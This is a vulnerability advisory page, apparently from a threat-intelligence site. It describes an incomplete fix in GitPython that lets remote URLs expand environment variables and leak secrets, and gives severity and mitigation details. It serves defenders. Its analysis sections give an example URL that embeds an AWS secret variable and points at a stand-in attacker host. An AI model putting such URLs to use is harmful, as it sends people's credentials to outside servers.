Snowflake cli: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) (CVE-2026-73622)
A vulnerability in GitPython's Repo.create_remote() and Remote.add() methods allows environment variable expansion in URLs, leading to potential secret exfiltration. The flaw is due to an incomplete fix of a previous advisory, where only Repo.clone_from() was protected from expanding environment variables in URLs. The vulnerable methods still expand variables by default, causing secrets in environment variables to be embedded in repository configuration files and transmitted to attacker-controlled hosts during fetch or pull operations. This affects GitPython versions from 3.4.1 up to but not including 3.24.0. A patch is available to address this issue.
AI Analysis
Technical Summary
The vulnerability arises because GitPython's Git.polish_url() method expands environment variables in URLs by default (expand_vars=True). While the previous fix for GHSA-rwj8-pgh3-r573 disabled this expansion for Repo.clone_from(), other callers such as Repo.create_remote() and Remote.add() still invoke Git.polish_url() with expansion enabled. An attacker can supply a URL containing environment variable references (e.g., http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git), which get expanded on the server side to include sensitive environment secrets. These expanded URLs are stored in .git/config or .gitmodules and sent to the attacker's server during fetch or pull commands, resulting in secret leakage. The check for unsafe protocols occurs after expansion and does not prevent HTTPS URLs carrying secrets. This vulnerability is tracked as CVE-2026-73622 with a CVSS 3.1 score of 7.5 (high severity).
Potential Impact
An attacker able to supply repository URLs to the vulnerable GitPython API can cause environment variables from the hosting process to be expanded and embedded into repository configuration files. These secrets are then transmitted to attacker-controlled servers during Git fetch or pull operations, leading to disclosure of sensitive environment data such as AWS credentials. The vulnerability does not affect integrity or availability but results in high confidentiality impact.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade GitPython to a fixed version beyond 3.24.0 where the environment variable expansion in Repo.create_remote() and Remote.add() URLs is disabled or properly controlled. Until patched, avoid using untrusted URLs with Repo.create_remote() or Remote.add() that could contain environment variable references. Review repository configuration files for leaked secrets if vulnerable versions were used.
Snowflake cli: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) (CVE-2026-73622)
Description
A vulnerability in GitPython's Repo.create_remote() and Remote.add() methods allows environment variable expansion in URLs, leading to potential secret exfiltration. The flaw is due to an incomplete fix of a previous advisory, where only Repo.clone_from() was protected from expanding environment variables in URLs. The vulnerable methods still expand variables by default, causing secrets in environment variables to be embedded in repository configuration files and transmitted to attacker-controlled hosts during fetch or pull operations. This affects GitPython versions from 3.4.1 up to but not including 3.24.0. A patch is available to address this issue.
CVSS v3.1
Score 7.5high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability arises because GitPython's Git.polish_url() method expands environment variables in URLs by default (expand_vars=True). While the previous fix for GHSA-rwj8-pgh3-r573 disabled this expansion for Repo.clone_from(), other callers such as Repo.create_remote() and Remote.add() still invoke Git.polish_url() with expansion enabled. An attacker can supply a URL containing environment variable references (e.g., http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git), which get expanded on the server side to include sensitive environment secrets. These expanded URLs are stored in .git/config or .gitmodules and sent to the attacker's server during fetch or pull commands, resulting in secret leakage. The check for unsafe protocols occurs after expansion and does not prevent HTTPS URLs carrying secrets. This vulnerability is tracked as CVE-2026-73622 with a CVSS 3.1 score of 7.5 (high severity).
Potential Impact
An attacker able to supply repository URLs to the vulnerable GitPython API can cause environment variables from the hosting process to be expanded and embedded into repository configuration files. These secrets are then transmitted to attacker-controlled servers during Git fetch or pull operations, leading to disclosure of sensitive environment data such as AWS credentials. The vulnerability does not affect integrity or availability but results in high confidentiality impact.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade GitPython to a fixed version beyond 3.24.0 where the environment variable expansion in Repo.create_remote() and Remote.add() URLs is disabled or properly controlled. Until patched, avoid using untrusted URLs with Repo.create_remote() or Remote.add() that could contain environment variable references. Review repository configuration files for leaked secrets if vulnerable versions were used.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- BREW-snowflake-cli-CVE-2026-73622
- Osv Schema Version
- 1.7.3
- Ecosystems
- ["Homebrew"]
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6abb41aef7a7c54106cc3a72
Added to database: 09/29/2026, 04:42:22 UTC
Last enriched: 09/29/2026, 05:02:01 UTC
Last updated: 09/29/2026, 05:02:01 UTC
Views: 2
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.